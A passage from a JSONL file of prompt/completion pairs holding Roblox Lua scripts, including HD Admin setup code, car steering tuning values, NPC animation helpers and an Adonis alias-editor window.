-ln.Rotation\n\tln.Frame.Position = UDim2.new(0,-1,0,85)\n\tif i*500>=math.floor(_pRPM/500)*500 then\n\t\tln.Frame.BackgroundColor3 = Color3.new(255/255, 0, 76/255)\n\t\tif i>\n-- To index a service, do main.serviceName (e.g. main.players, main.teleportService, main.tweenService, etc)", "completion": "\nlocal main = setmetatable({}, {\n __index = function(self, name)\n local pass, service = pcall(game.GetService, game, name:sub(1, 1):upper()..name:sub(2))\n if pass then\n self[name] = service\n return service\n end\n end\n})\n\n\n\nfunction main:Initialize(location, loader)\n\t\n\t-- << SHORTHAND SERVICES >>\n\tmain.rs = game:GetService(\"ReplicatedStorage\")\n\tmain.ss = game:GetService(\"ServerStorage\")\n\tmain.sss = game:GetService(\"ServerScriptService\")\n\t\n\t\n\t\n\t-- << SETUP >>\n\tlocal function ConvertToCamelCase(pascalCase)\n\t\tlocal camelCase = string.lower(string.sub(pascalCase,1,1))..string.sub(pascalCase,2)\n\t\treturn camelCase\n\tend\n\t\n\tif location == \"Server\" then\n\t\t-- Define storage folders\n\t\tmain.mainModule = script:FindFirstAncestor(\"MainModule\")\n\t\tmain.server = main.mainModule.Server\n\t\tmain.client = main.mainModule.Client\n\t\t\n\t\tmain.workspaceFolder = Instance.new(\"Folder\")\n\t\tmain.workspaceFolder.Name = \"HDAdminWorkspaceFolder\"\n\t\tmain.workspaceFolder.Parent = workspace\n\t\t\n\t\t-- Retrieve default settings\n\t\tlocal settingsModuleCopy = main.server.Assets:FindFirstChild(\"SettingsCopy\")\n\t\tif settingsModuleCopy then\n\t\t\tmain.settings = require(settingsModuleCopy)\n\t\tend\n\t\t\n\t\t-- Update settings\n\t\tlocal settingsModule = require(loader:FindFirstChild(\"Settings\", true))\n\t\tif settingsModule then\n\t\t\tfor settingName, value in pairs(settingsModule) do\n\t\t\t\tmain.settings[settingName] = value\n\t\t\tend\n\t\tend\n\t\t\n\t\t-- Merge CustomFeatures into MainModule\n\t\tlocal customFeatures = loader:FindFirstChild(\"CustomFeatures\", true)\n\t\tlocal function UpdateStorageWithContents(folder, coreFolderName)\n\t\t\tlocal newCoreFolderName = string.lower((coreFolderName == \"Client\" and coreFolderName) or \"Server\")\n\t\t\tlocal storageName = folder.Name\n\t\t\tlocal storage = main[newCoreFolderName]:FindFirstChild(storageName)\n\t\t\tif storage and storageName ~= \"client\" and storageName ~= \"server\" then\n\t\t\t\tfor _, newItem in pairs(folder:GetChildren()) do\n\t\t\t\t\tlocal existingItem = storage:FindFirstChild(newItem.Name)\n\t\t\t\t\tif existingItem and not existingItem:IsA(\"ModuleScript\") then\n\t\t\t\t\t\texistingItem:Destroy()\n\t\t\t\t\tend\n\t\t\t\t\tnewItem.Parent = storage\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif customFeatures then\n\t\t\tfor a,b in pairs(customFeatures:GetChildren()) do\n\t\t\t\tUpdateStorageWithContents(b)\n\t\t\t\tlocal coreFolderName = b.Name\n\t\t\t\tfor c,d in pairs(b:GetChildren()) do\n\t\t\t\t\tUpdateStorageWithContents(d, coreFolderName)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t-- Place items into correct locations\n\t\tlocal itemsToMove = {\n\t\t\t[\"Client\"] = main.rs;\n\t\t\t[\"Server\"] = main.ss;\n\t\t\t}\n\t\tlocal itemsToCloneAndMove = {\n\t\t\t[\"HDAdminLocalFirst\"] = main.replicatedFirst;\n\t\t\t[\"HDAdminStarterCharacter\"] = main.starterPlayer.StarterCharacterScripts;\n\t\t\t[\"HDAdminStarterPlayer\"] = main.starterPlayer.StarterPlayerScripts;\n\t\t\t[\"HDAdminGUIs\"] = main.starterGui;\n\t\t\t[\"Preload\"] = main.replicatedFirst;\n\t\t\t}\n\t\tlocal function CheckToMove(item)\n\t\t\tlocal itemName = item.Name\n\t\t\tlocal itemLocation = (itemsToMove[itemName] or itemsToCloneAndMove[itemName])\n\t\t\tif itemLocation and not itemLocation:FindFirstChild(itemName) then\n\t\t\t\tif itemsToMove[itemName] then\n\t\t\t\t\titem.Name = \"HDAdmin\"..itemName\n\t\t\t\t\titem.Parent = itemLocation\n\t\t\t\telseif itemsToCloneAndMove[itemName] then\n\t\t\t\t\tlocal itemClone = item:Clone()\n\t\t\t\t\titemClone.Parent = itemLocation\n\t\t\t\t\tif itemClone:IsA(\"LocalScript\") then\n\t\t\t\t\t\titemClone.Disabled = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tfor a,b in pairs(main.mainModule:GetChildren()) do\n\t\t\tCheckToMove(b)\n\t\t\tfor c,d in pairs(b:GetChildren()) do\n\t\t\t\tCheckToMove(d)\n\t\t\t\tfor e,f in pairs(d:GetChildren()) do\n\t\t\t\t\tCheckToMove(f)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t-- Manually add items for players who joined early\n\t\tlocal setupQuickJoiners = main.server.Assets.SetupQuickJoiners\n\t\tfor i, player in pairs(main.players:GetChildren()) do\n\t\t\tsetupQuickJoiners:Clone().Parent = player.PlayerGui\n\t\tend\n\t\t\n\t\t--Setup SaveMap Default\n\t\tcoroutine.wrap(function()\n\t\t\tlocal mapBackup = Instance.new(\"Folder\")\n\t\t\tmapBackup.Name = \"HDAdminMapBackup\"\n\t\t\tmapBackup.Parent = main.ss\n\t\t\tmain.client.Signals.Initialized.Event:Wait()\n\t\t\tmain:GetModule(\"cf\"):SaveMap()\n\t\tend)()\n\t\n\t\n\t\n\t\n\telseif location == \"Client\" then\n\t\t\n\t\t-- Define storage folders\n\t\tmain.client = main.rs:WaitForChild(\"HDAdminClient\")\n\t\tfor a,b in pairs(main.client:GetChildren()) do\n\t\t\t--main[ConvertToCamelCase(b.Name)] = b\n\t\tend\n\t\tmain.workspaceFolder = workspace:WaitForChild(\"HDAdminWorkspaceFolder\")\n\t\t\n\t\t-- Core client variables\n\t\tmain.player = game.Players.LocalPlayer\n\t\tmain.playerGui = main.player:WaitForChild(\"PlayerGui\")\n\t\tmain.gui = main.playerGui:WaitForChild(\"HDAdminGUIs\")\n\t\tmain.templates = main.gui.Templates\n\t\tmain.warnings = main.gui.MainFrame:WaitForChild(\"Warnings\")\n\t\tmain.camera = workspace.CurrentCamera\n\t\t\n\t\t-- Get device type\n\t\tmain.tablet = false\n\t\tif main.guiService:IsTenFootInterface() then\n\t\t\tmain.device = \"Console\"\n\t\telseif (main.userInputService.TouchEnabled and not main.userInputService.MouseEnabled) then\n\t\t\tmain.device = \"Mobile\"\n\t\telse\n\t\t\tmain.device = \"Computer\"\n\t\tend\n\t\tif main.gui.AbsoluteSize.Y < 1 then repeat wait() until main.gui.AbsoluteSize.Y > 0 end\n\t\tif main.device == \"Mobile\" then\n\t\t\tif main.gui.AbsoluteSize.Y >= 650 then\n\t\t\t\tmain.tablet = true\n\t\t\tend\n\t\tend\n\t\t\n\t\t-- Retrieve PlayerData\n\t\tlocal success, dataToRetrieve\n\t\tfor i = 1, 50 do\n\t\t\tsuccess, dataToRetrieve = pcall(function() return main.client.Signals.RetrieveData:InvokeServer() end)\n\t\t\t--print(\"HD Admin DataToRetrieveType = \",type(dataToRetrieve),dataToRetrieve)\n\t\t\tif success and dataToRetrieve then\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\twait(1)\n\t\t\tend\n\t\tend\n\t\tfor statName, statData in pairs(dataToRetrieve) do\n\t\t\tmain[statName] = statData\n\t\tend\n\t\t\n\t\t\n\tend\n\t\n\t\n\t\n\t-- << SHARED CORE VARIABLES >>\n\tlocal dateDetails = os.date(\"*t\", os.time())\n\tmain.hdAdminCoreName = (dateDetails.day == 1 and dateDetails.month == 4 and \"144p Admin\") or \"HD Admin\"\n\tmain.modules = {}\n\tmain.coreFolder = main[string.lower(location)]\n\tmain.moduleGroup = main.coreFolder.Modules\n\tmain.sharedModules = main.client.SharedModules\n\tmain.signals = main.client.Signals\n\tmain.audio = main.client.Audio\n\t\n\tlocal waitingForModule = {}\n\tfunction main:GetModule(name)\n\t\tif not main.modules[name] then\n\t\t\tlocal request = {name = name, addedSignal = Instance.new(\"BindableEvent\")}\n\t\t\twaitingForModule[#waitingForModule+1] = request\n\t\t\trequest.addedSignal.Event:Wait()\n\t\tend\n\t\treturn main.modules[name]\n\tend\n\tfunction main.loadModule(name)\n\t\tif not main.modules[name] then\n\t\t\tlocal request = {name = name, addedSignal = Instance.new(\"BindableEvent\")}\n\t\t\twaitingForModule[#waitingForModule+1] = request\n\t\t\trequest.addedSignal.Event:Wait()\n\t\tend\n\t\treturn main.modules[name]\n\tend\n\t\n\t-- << SETUP MODULES >>\n\tlocal moduleNamesToAdapt = {\n\t\t[\"cf\"] = {\"ClientCoreFunctions\", \"SharedCoreFunctions\", \"ServerCoreFunctions\"};\n\t\t[\"API\"] = {\"ClientAPI\", \"ServerAPI\", \"SharedAPI\"};\n\t}\n\tlocal moduleNamesToAdaptDictionary = {}\n\tfor newName, originalNames in pairs(moduleNamesToAdapt) do\n\t\tfor _, originalName in pairs(originalNames) do\n\t\t\tmoduleNamesToAdaptDictionary[originalName] = newName\n\t\tend\n\tend\n\tlocal function SetupModules(folder, moduleStorage)\n\t\tfor a,b in pairs(folder:GetDescendants()) do\n\t\t\tif b:IsA(\"ModuleScript\") and b.Name ~= script.Name then\n\t\t\t\tcoroutine.wrap(function()\n\t\t\t\t\t--Adapt module name if specified\n\t\t\t\t\tlocal moduleName = b.Name\n\t\t\t\t\tlocal newModuleName = moduleNamesToAdaptDictionary[moduleName]\n\t\t\t\t\tif newModuleName then\n\t\t\t\t\t\tmoduleName = newModuleName\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Retrieve module data\n\t\t\t\t\tlocal success, data = pcall(function() return require(b) end)\n\t\t\t\t\t\n\t\t\t\t\t--Warn of module error\n\t\t\t\t\tif not success then\n\t\t\t\t\t\twarn(\"HD Admin Module Error | \"..b.Name..\" | \".. tostring(data))\n\t\t\t\t\t\n\t\t\t\t\t--If module already exists, merge conetents\n\t\t\t\t\telseif moduleStorage[moduleName] then\n\t\t\t\t\t\tfor funcName, func in pairs(data) do\n\t\t\t\t\t\t\tif tonumber(funcName) then\n\t\t\t\t\t\t\t\ttable.insert(moduleStorage[moduleName], func)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tmoduleStorage[moduleName][funcName] = func\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t--Else setup new module\n\t\t\t\t\telse\n\t\t\t\t\t\tmoduleStorage[moduleName] = data\n\t\t\t\t\t\tfor i = #waitingForModule, 1, -1 do\n\t\t\t\t\t\t\tlocal request = waitingForModule[i]\n\t\t\t\t\t\t\tif request.name == moduleName then\n\t\t\t\t\t\t\t\ttable.remove(waitingForModule, i)\n\t\t\t\t\t\t\t\trequest.addedSignal:Fire()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Hide module on client\n\t\t\t\t\tif location == \"Client\" and b.Name ~= script.Name then\n\t\t\t\t\t\tb:Destroy()\n\t\t\t\t\tend\n\t\t\t\tend)()\n\t\t\tend\n\t\tend\n\tend\n\trequire(script.MainVariables):SetupMainVariables(location)\n\tSetupModules(main.moduleGroup, main.modules)\n\tSetupModules(main.sharedModules, main.modules)\n\t\n\t\n\t\n\t-- << STARTER FUNCTIONS >>\n\tif location == \"Server\" then\n\t\tmain.server.Assets:WaitForChild(\"HDAdminSetup\").Parent = main.rs\n\t\tif not main.ownerName then\n\t\t\tmain.ownerName = main:GetModule(\"cf\"):GetName(main.ownerId)\n\t\tend\n\t\tmain:GetModule(\"CommandHandler\"):Setup()\n\t\tmain:GetModule(\"LoaderHandler\"):Setup()\n\t\tmain.chatService = require(main.sss:WaitForChild(\"ChatServiceRunner\", 1):WaitForChild(\"ChatService\", 1))\n\tend\n\t\n\t\n\t\n\t-- << END >>\n\tmain.initialized = true\n\tmain.client.Signals.Initialized:Fire()\nend\n\n\n\n"} +{"prompt": "-- create arrow", "completion": "\nlocal p = Instance.new(\"Part\")\np.formFactor = 2\np.Size = Vector3.new(1,.4,1)\np.Transparency = .5\np.BrickColor = BrickColor.new(21)\np.CanCollide = false\np.Locked = true\np.RotVelocity = Vector3.new(math.random(), math.random(), math.random()) * 10\nlocal v = Vector3.new(script.Parent.Torso.CFrame.lookVector.x, 0, script.Parent.Torso.CFrame.lookVector.z)\n\np.CFrame = CFrame.new(script.Parent.Torso.CFrame.p + v * 8, v.unit)\n\nlocal m = script.ArrowMesh:Clone() -- NASTY\nm.Parent = p\n\n\n\nlocal b = Instance.new(\"BodyPosition\")\nb.position = p.Position\nb.Parent = p\n\nlocal g = Instance.new(\"BodyGyro\")\ng.cframe = CFrame.new(Vector3.new(0,0,0), Vector3.new(0,0,1)) -- point North\ng.maxTorque = Vector3.new(7e7, 7e7, 7e7)\ng.Parent = p\n\n\n\np.Parent = game.Workspace\n\n\n\n\n\n\n\ndebris:AddItem(p, 10)\n\n\nwait(5)\n\nscript.Parent = nil\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 65\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 65\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .45\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .4\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 6000\t\t-- Steering Aggressiveness\n\t"} +{"prompt": "-- Helper functions", "completion": "\nlocal function loadAnimation(controller, animationId)\n\tanimation.AnimationId = \"rbxassetid://\" .. animationId\n\treturn controller:LoadAnimation(animation)\nend\n\nlocal function isolateAndDampenYAngle(targetCFrame, proportionMultiplier)\n\tproportionMultiplier = proportionMultiplier or 1\n\tlocal _, y = targetCFrame:ToEulerAnglesXYZ()\n\t\n\treturn CFrame.new(targetCFrame.Position) * CFrame.Angles(\n\t\t0,\n\t\ty * proportionMultiplier,\n\t\t0\n\t)\nend\n\nlocal function makeNPCLookAt(lookAtPosition)\n\tif not lookAtPosition then\n\t\treturn\n\tend\n\t\n\tlocal differenceVector = lookAtPosition - npcModel.PrimaryPart.Position\n\tlocal targetCFrame = rotationOffset * CFrame.new(Vector3.new(), differenceVector.Unit) or rotationOffset\n\t\n\t-- Let the waving animation move the body\n\tif not waveAnimationTrack.IsPlaying then\n\t\tNPC.Root.Transform = isolateAndDampenYAngle(targetCFrame, TwistProportions.Root)\n\t\tNPC.Waist.Transform = isolateAndDampenYAngle(targetCFrame, TwistProportions.Waist)\n\tend\n\tNPC.Neck.Transform = isolateAndDampenYAngle(targetCFrame, waveAnimationTrack.IsPlaying and TwistProportions.Full or TwistProportions.Neck)\n\t\n\treturn differenceVector.Magnitude\nend\n\n"} +{"prompt": "--// Ported from Kronos", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\t\n\tlocal gTable\n\t\n\tlocal window = client.UI.Make(\"Window\",{\n\t\tName = \"Aliases\";\n\t\tTitle = \"Alias Editor\";\n\t\tSize = {420, 240};\n\t\tAllowMultiple = false;\n\t})\n\n\tlocal template = {\n\t\tAlias = \"\",\n\t\tArgs = {Names = {}, Defaults = {}},\n\t\tCommand = \"\",\n\t\tDescription = \"\"\n\t}\n\tfor i,v in template do\n\t\tif not data[i] then\n\t\t\tdata[i] = v\n\t\tend\n\tend\n\n\tif window then\n\t\tlocal bg = window:Add(\"ScrollingFrame\", {\n\t\t\tBackgroundColor3 = Color3.fromRGB(31, 31, 31):lerp(Color3.new(1,1,1), 0.2);\n\t\t\tSize = UDim2.new(1, -10, 1, -10);\n\t\t\tPosition = UDim2.new(0, 5, 0, 5)\n\t\t})\n\n\t\tlocal content = bg:Add(\"ScrollingFrame\", {\n\t\t\tSize = UDim2.new(1, -10, 1, -35);\n\t\t\tPosition = UDim2.new(0, 5, 0, 5);\n\t\t\tBackgroundTransparency = 0.5;\n\t\t})\n\n\t\tlocal draw;\n\t\tlocal curArgName, curArgDefault, argIndex;\n\t\tlocal argBox; argBox = window:Add(\"Frame\", {\n\t\t\tVisible = false;\n\t\t\tSize = UDim2.new(0, 200, 0, 150);\n\t\t\tPosition = UDim2.new(0.5, -100, 0.5, -75);\n\t\t\tChildren = {\n\t\t\t\t{\n\t\t\t\t\tClass = \"TextLabel\";\n\t\t\t\t\tText = \"Argument Name:\";\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 10);\n\t\t\t\t\tSize = UDim2.new(1, 0, 0, 20);\n\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tClass = \"TextLabel\";\n\t\t\t\t\tText = \"Default:\";\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 65);\n\t\t\t\t\tSize = UDim2.new(1, 0, 0, 20);\n\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tClass = \"TextButton\";\n\t\t\t\t\tText = \"Save\";\n\t\t\t\t\tPosition = UDim2.new(0.5, 0, 1, -30);\n\t\t\t\t\tSize = UDim2.new(0.5, -20, 0, 20);\n\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\tOnClicked = function()\n\t\t\t\t\t\tif argIndex == 0 then\n\t\t\t\t\t\t\ttable.insert(data.Args.Names, curArgName)\n\t\t\t\t\t\t\ttable.insert(data.Args.Defaults, curArgDefault or \"\")\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdata.Args.Names[argIndex] = curArgName\n\t\t\t\t\t\t\tdata.Args.Defaults[argIndex] = curArgDefault or \"\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\tdraw()\n\t\t\t\t\t\tcurArgName = nil\n\t\t\t\t\t\tcurArgDefault = nil\n\t\t\t\t\t\targBox.Visible = false\n\t\t\t\t\tend\n\t\t\t\t};\n\t\t\t}\n\t\t})\n\n\t\tlocal endBtn = argBox:Add({\n\t\t\tClass = \"TextButton\";\n\t\t\tText = \"Remove\";\n\t\t\tPosition = UDim2.new(0, 10, 1, -30);\n\t\t\tSize = UDim2.new(0.5, -20, 0, 20);\n\t\t\tBackgroundTransparency = 1;\n\t\t\tOnClicked = function()\n\t\t\t\tif argIndex ~= 0 then\n\t\t\t\t\ttable.remove(data.Args.Names, argIndex)\n\t\t\t\t\ttable.remove(data.Args.Defaults, argIndex)\n\t\t\t\tend\n\t\t\t\tdraw()\n\t\t\t\tcurArgName = nil\n\t\t\t\tcurArgDefault = nil\n\t\t\t\targBox.Visible = false\n\t\t\tend\n\t\t})\n\n\t\tlocal argNameBox = argBox:Add(\"TextBox\", {\n\t\t\tText = curArgName or \"name\";\n\t\t\tPosition = UDim2.new(0, 10, 0, 35);\n\t\t\tSize = UDim2.new(1, -20, 0, 20);\n\t\t\tTextChanged = function(newText, enter, box)\n\t\t\t\tcurArgName = newText\n\t\t\tend\n\t\t});\n\n\t\tlocal argDefaultBox = argBox:Add(\"TextBox\", {\n\t\t\tText = curArgDefault or \"\";\n\t\t\tPosition = UDim2.new(0, 10, 0, 90);\n\t\t\tSize = UDim2.new(1, -20, 0, 20);\n\t\t\tTextChanged = function(newText, enter, box)\n\t\t\t\tcurArgDefault = newText\n\t\t\tend\n\t\t});\n\n\t\targBox.BackgroundColor3 = argBox.BackgroundColor3:lerp(Color3.new(1, 1, 1), 0.05)\n\t\targNameBox.BackgroundColor3 = argNameBox.BackgroundColor3:lerp(Color3.new(1, 1, 1), 0.1)\n\t\targDefaultBox.BackgroundColor3 = argNameBox.BackgroundColor3\n\n\t\tlocal function showArgBox(argData)\n\t\t\tif not argBox.Visible then\n\t\t\t\tif argData then\n\t\t\t\t\tcurArgName = argData.Name\n\t\t\t\t\tcurArgDefault = argData.Default\n\t\t\t\tend\n\t\t\t\tif argIndex == 0 then\n\t\t\t\t\tendBtn.Text = \"Cancel\"\n\t\t\t\telse\n\t\t\t\t\tendBtn.Text = \"Remove\"\n\t\t\t\tend\n\t\t\t\targNameBox.Text = curArgName or \"name\"\n\t\t\t\targDefaultBox.Text = curArgDefault or \"\"\n\t\t\t\targBox.Visible = true\n\t\t\tend\n\t\tend\n\n\t\tfunction draw()\n\t\t\tcontent:ClearAllChildren();\n\n\t\t\tlocal i = 1\n\t\t\tcontent:Add(\"TextLabel\", {\n\t\t\t\tText = \" Alias: \";\n\t\t\t\tToolTip = \"Set the alias Adonis should check for in chat\";\n\t\t\t\tBackgroundTransparency = (i%2 == 0 and 0) or 0.2;\n\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\tPosition = UDim2.new(0, 5, 0, (30*(i-1))+5);\n\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\tChildren = {\n\t\t\t\t\t[data.ExistingAlias and \"TextLabel\" or \"TextBox\"] = {\n\t\t\t\t\t\tText = data.Alias or \"\";\n\t\t\t\t\t\tSize = UDim2.new(0, 200, 1, 0);\n\t\t\t\t\t\tPosition = UDim2.new(1, -200, 0, 0); \n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tTextChanged = not data.ExistingAlias and function(text, enter, new)\n\t\t\t\t\t\t\tdata.Alias = text\n\t\t\t\t\t\tend or nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t\ti = i + 1\n\t\t\tcontent:Add(\"TextLabel\", {\n\t\t\t\tText = \" Command: \";\n\t\t\t\tToolTip = \"Set the command(s) Adonis should execute when finding the alias\";\n\t\t\t\tBackgroundTransparency = (i%2 == 0 and 0) or 0.2;\n\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\tPosition = UDim2.new(0, 5, 0, (30*(i-1))+5);\n\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\tChildren = {\n\t\t\t\t\tTextBox = {\n\t\t\t\t\t\tText = data.Command or \"\";\n\t\t\t\t\t\tSize = UDim2.new(0, 200, 1, 0);\n\t\t\t\t\t\tPosition = UDim2.new(1, -200, 0, 0); \n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tTextChanged = function(text, enter, new)\n\t\t\t\t\t\t\tdata.Command = text\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t\ti = i + 1\n\t\t\tcontent:Add(\"TextLabel\", {\n\t\t\t\tText = \" Description: \";\n\t\t\t\tToolTip = \"What does the alias do?\";\n\t\t\t\tBackgroundTransparency = (i%2 == 0 and 0) or 0.2;\n\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\tPosition = UDim2.new(0, 5, 0, (30*(i-1))+5);\n\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\tChildren = {\n\t\t\t\t\tTextBox = {\n\t\t\t\t\t\tText = data.Description or \"\";\n\t\t\t\t\t\tSize = UDim2.new(0, 200, 1, 0);\n\t\t\t\t\t\tPosition = UDim2.new(1, -200, 0, 0); \n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tTextChanged = function(text, enter, new)\n\t\t\t\t\t\t\tdata.Description = text\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t\ti = i + 2\n\t\t\tcontent:Add(\"TextButton\", {\n\t\t\t\tText = \"Add Argument\",\n\t\t\t\tBackgroundTransparency = (i%2 == 0 and 0) or 0.2;\n\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\tPosition = UDim2.new(0, 5, 0, (30*(i-1))+5);\n\t\t\t\tOnClicked = function(button)\n\t\t\t\t\targIndex = 0\n\t\t\t\t\tshowArgBox()\n\t\t\t\tend\n\t\t\t})\n\t\t\tfor index,arg in ipairs(data.Args.Names) do\n\t\t\t\ti = i + 1\n\t\t\t\tcontent:Add(\"TextButton\", {\n\t\t\t\t\tText = `Argument: {arg} | Default: {data.Args.Defaults[index]}`;\n\t\t\t\t\tBackgroundTransparency = (i%2 == 0 and 0) or 0.2;\n\t\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\t\tPosition = UDim2.new(0, 5, 0, (30*(i-1))+5);\n\t\t\t\t\tOnClicked = function(button)\n\t\t\t\t\t\targIndex = index\n\t\t\t\t\t\tshowArgBox({Name = arg, Default = data.Args.Defaults[index]})\n\t\t\t\t\tend\n\t\t\t\t})\n\t\t\tend\n\n\t\t\tcontent:ResizeCanvas(false, true, false, false, 5, 5)\n\n\t\t\tbg:Add(\"TextButton\", {\n\t\t\t\tText = \"Cancel\";\n\t\t\t\tPosition = UDim2.new(0, 5, 1, -25);\n\t\t\t\tSize = UDim2.new(1/3, -8, 0, 20);\n\t\t\t\tOnClicked = function(button)\n\t\t\t\t\twindow:Close()\n\t\t\t\tend\n\t\t\t})\n\n\t\t\tbg:Add(\"TextButton\", {\n\t\t\t\tText = \"Remove\";\n\t\t\t\tPosition = UDim2.new(1/3, 3, 1, -25);\n\t\t\t\tSize = UDim2.new(1/3, -7, 0, 20);\n\t\t\t\tOnClicked = function(button)\n\t\t\t\t\tif data.ExistingAlias then\n\t\t\t\t\t\tclient.Functions.RemoveAlias(data.Alias)\n\t\t\t\t\t\tclient.UI.Remove(\"UserPanel\")\n\t\t\t\t\t\tclient.UI.Make(\"UserPanel\", {Tab = \"Aliases\"})\n\t\t\t\t\tend\n\t\t\t\t\twindow:Close()\n\t\t\t\tend\n\t\t\t})\n\n\t\t\tbg:Add(\"TextButton\", {\n\t\t\t\tText = \"Save\";\n\t\t\t\tPosition = UDim2.new(2/3, 3, 1, -25);\n\t\t\t\tSize = UDim2.new(1/3, -8, 0, 20);\n\t\t\t\tOnClicked = function(button)\n\t\t\t\t\tif data.Alias == \"\" or data.Command == \"\" then\n\t\t\t\t\t\tclient.UI.Make(\"Output\", {Message = \"A required field is missing!\"})\n\t\t\t\t\telse\n\t\t\t\t\t\tclient.Functions.SetAlias(data.Alias, data)\n\t\t\t\t\t\tclient.UI.Remove(\"UserPanel\")\n\t\t\t\t\t\tclient.UI.Make(\"UserPanel\", {Tab = \"Aliases\"})\n\t\t\t\t\t\twindow:Close()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t})\n\t\tend\n\n\t\tdraw()\n\t\tgTable = window.gTable\n\t\twindow:Ready()\n\tend\nend\n"} +{"prompt": "-- variables", "completion": "\n\nlocal defaultTweenInfo = TweenInfo.new(0)\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nguia.BodyVelocity.velocity = Vector3.new(0, -1, 0)\nwait(9.5)\nguia.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--[[**\n\t\tAlias for t.union\n\t**--]]", "completion": "\n\tt.some = t.union\n"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\nlocal an = nil\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nClientControl.OnClientInvoke = (function(Mode, Value)\n\tif Mode == \"PlaySound\" and Value then\n\t\tValue:Play()\n\tend\nend)\n\nfunction InvokeServer(Mode, Value, arg)\n\tpcall(function()\n\t\tServerControl:InvokeServer(Mode, Value, arg)\n\tend)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tif not Player or not Humanoid or Humanoid.Health == 0 then\n\t\treturn\n\tend\n\tan = Character.Humanoid:LoadAnimation(script.Parent.Hold)\n\tan:Play()\n\tMouse.Button1Down:connect(function()\n\t\tInvokeServer(\"Click\", true, Mouse.Hit.p)\n\tend)\nend\n\nlocal function Unequipped()\n\tan:Stop()\nend\n\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- Image label default properties", "completion": "\ndefaults.ImageColor3 = \"White\"\ndefaults.ImageTransparency = 0\ndefaults.ImageRectOffset = \"0,0\"\ndefaults.ImageRectSize = \"0,0\"\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif game.Players.LocalPlayer.YouCash.Value >= 0 and workspace:FindFirstChild(\"Roommate\").Head.Dialog.InUse == true then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- FILTER_THRESHOLD_TIME then\n\t\tFilterIssueCount = 0\n\tend\n\tFilterIssueCount = FilterIssueCount + 1\n\tLastFilterIssueTime = tick()\n\tif FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then\n\t\tif (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then\n\t\t\tLastFilterNoficationTime = tick()\n\t\t\tlocal systemChannel = self:GetChannel(\"System\")\n\t\t\tif systemChannel 